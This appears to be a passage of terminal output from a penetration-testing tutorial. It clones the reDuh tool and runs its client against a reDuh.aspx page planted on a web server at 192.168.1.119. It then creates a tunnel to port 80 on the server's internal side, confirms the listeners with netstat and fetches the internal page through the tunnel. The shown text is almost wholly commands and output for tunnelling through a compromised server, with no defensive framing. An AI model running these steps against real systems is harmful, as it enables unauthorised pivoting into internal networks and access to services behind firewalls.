Copy root@John:~# git clone https://github.com/sensepost/reDuh.git
Cloning into 'reDuh' ...
remote: Enumerating objects: 47, done.
remote: Total 47 (delta 0 ), reused 0 ( delta 0 ), pack‐reused 47
Unpacking objects: 100% (47/47), done.
root@John:~# cd reDuh/
root@John:~/reDuh# ls
README.markdown reDuhClient reDuhServers
Copy root@John:~/reDuh/reDuhClient/dist# java ‐jar reDuhClient.jar http://192.168.1.119/reDuh.aspx
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from 192.168.1.119:80/reDuh.aspx. Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010
Copy root@John:~# telnet 127.0.0.1 1010
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]' .
Welcome to the reDuh command line
>> [createTunnel]30080:127.0.0.1:80
Successfully bound locally to port 30080. Awaiting connections.
Copy root@John:~# netstat ‐ntlp
Active Internet connections (only servers )
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::22 :::* LISTEN 674/sshd
root@John:~# netstat ‐ntlp
Active Internet connections (only servers )
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::1010 :::* LISTEN 6102/java
tcp6 0 0 :::22 :::* LISTEN 674/sshd
tcp6 0 0 :::30080 ::: \* LISTEN 6102/java
Copy root@John:~# curl http://192.168.1.5:30080/
< html >
< head >
< meta HTTP‐EQUIV = "Content‐Type" Content = "text/html; charset=gb2312" >
< title ID = titletext > 建设中 < /title >
< /head >
< body bgcolor = white >
...
< /body >
< /html >